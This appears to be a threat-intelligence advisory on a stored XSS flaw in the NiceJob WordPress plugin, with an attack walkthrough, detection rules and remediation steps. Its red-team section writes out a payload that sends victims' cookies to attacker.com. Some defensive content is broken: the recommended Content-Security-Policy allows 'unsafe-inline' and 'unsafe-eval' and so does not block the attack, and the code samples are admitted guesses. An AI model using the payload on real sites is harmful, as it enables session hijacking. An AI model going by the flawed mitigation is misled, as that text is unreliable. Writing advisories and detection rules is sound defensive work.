CVE-2024-54318

Executive Summary

CVE-2024-54318 is a Stored Cross-Site Scripting (XSS) vulnerability in the NiceJob WordPress plugin (versions <= 3.6.5). The plugin fails to properly neutralize user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript code that is stored on the server and executed in the browsers of other users. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites.

Given the CVSS score of 6.5 (Medium) and the EPSS score of 0.0%, exploitation is currently not widespread, but the lack of a vendor patch makes this a persistent risk for all sites running the vulnerable plugin. The vulnerability is in the WordPress ecosystem and is not related to Apache or Nginx.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin via the WordPress admin dashboard or directly from the repository are affected. There is no known compromise of the plugin’s supply chain, but the lack of a patch means that all installations remain vulnerable indefinitely.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed to inject the payload.
• User Interaction (UI): Required (R) – The victim must visit the affected page.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the stored XSS nature and lack of patch elevate the risk for WordPress sites using this plugin.

Deep Dive & Mechanics

The vulnerability resides in the NiceJob plugin’s handling of user-supplied data, likely in a testimonial, review, or feedback submission feature. The plugin does not sanitize or escape the input before storing it in the database and later rendering it on a page. An attacker can submit a payload such as:

<script>alert('XSS')</script>

When an administrator or visitor loads the page displaying the stored content, the script executes in their browser context. This can be used to steal cookies, perform actions on behalf of the user, or redirect to phishing pages.

The attack flow:

1. Attacker identifies a vulnerable input field (e.g., a review form).
2. Attacker submits a malicious payload containing JavaScript.
3. The payload is stored in the WordPress database.
4. When the page is rendered, the payload is executed in the browser of any user viewing that page.

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.6.5): The plugin likely outputs user input directly without escaping, e.g.:

echo $review_content;

Patched Code (Hypothetical): A proper fix would use WordPress’s built-in escaping functions:

echo esc_html( $review_content );

Since no official patch exists, users must implement a workaround (see Remediation).

Exploitation & Lab Setup

Red Team (Attack Simulation)

1. Setup: Install WordPress with NiceJob plugin version 3.6.5 on a local or isolated environment.
2. Identify Input: Locate a form field that accepts user input (e.g., a testimonial submission form).
3. Craft Payload: Use a simple XSS payload:

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Submit: Submit the form with the payload.
5. Trigger: As an admin, navigate to the page displaying the submitted content. The script will execute, sending the admin’s cookies to the attacker’s server.

Blue Team (Defense & Detection)

1. Monitor Logs: Look for unusual POST requests to plugin-specific endpoints (e.g., /wp-admin/admin-ajax.php with action nicejob_submit_review).
2. Web Application Firewall (WAF): Deploy rules to block common XSS patterns in form submissions.
3. Content Security Policy (CSP): Implement a strict CSP header to mitigate script execution:

   Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'none';
   

4. Input Validation: Use WordPress’s wp_kses() or sanitize_text_field() on all user inputs.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains containing cookie data.
• File: Suspicious entries in the WordPress wp_posts or wp_postmeta tables containing <script> tags.
• Log: Repeated 200 responses to /wp-admin/admin-ajax.php with action=nicejob_submit_review from the same IP.
• Browser: Unexpected pop-ups, redirects, or console errors related to cross-origin requests.

Detection Engineering

YARA Rule

rule CVE_2024_54318_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in NiceJob plugin submissions"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-54318"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $nicejob_action = "nicejob_submit_review"
    condition:
        $nicejob_action and #xss_payload > 0
}

Sigma Rule

title: CVE-2024-54318 Stored XSS in NiceJob Plugin
id: 8a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects POST requests to NiceJob plugin endpoints containing XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=nicejob_submit_review'
        cs-request-body|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in reviews (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-54318 Stored XSS in NiceJob Plugin"; flow:to_server; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=nicejob_submit_review"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the NiceJob plugin until a patch is available.
2. Workaround: If the plugin must remain active, implement a web application firewall (WAF) rule to block <script> tags in POST requests to plugin endpoints.
3. Code Fix (if you have access): Add output escaping to all user-supplied data:

   echo esc_html( $user_input );
   

4. Monitor: Regularly check for updates from the vendor. If no patch is released, consider replacing the plugin with an alternative.
5. User Education: Advise administrators to avoid clicking on suspicious links or submitting forms with unusual content.

Valters IT
DevSecOps & Cyber Threat Intelligence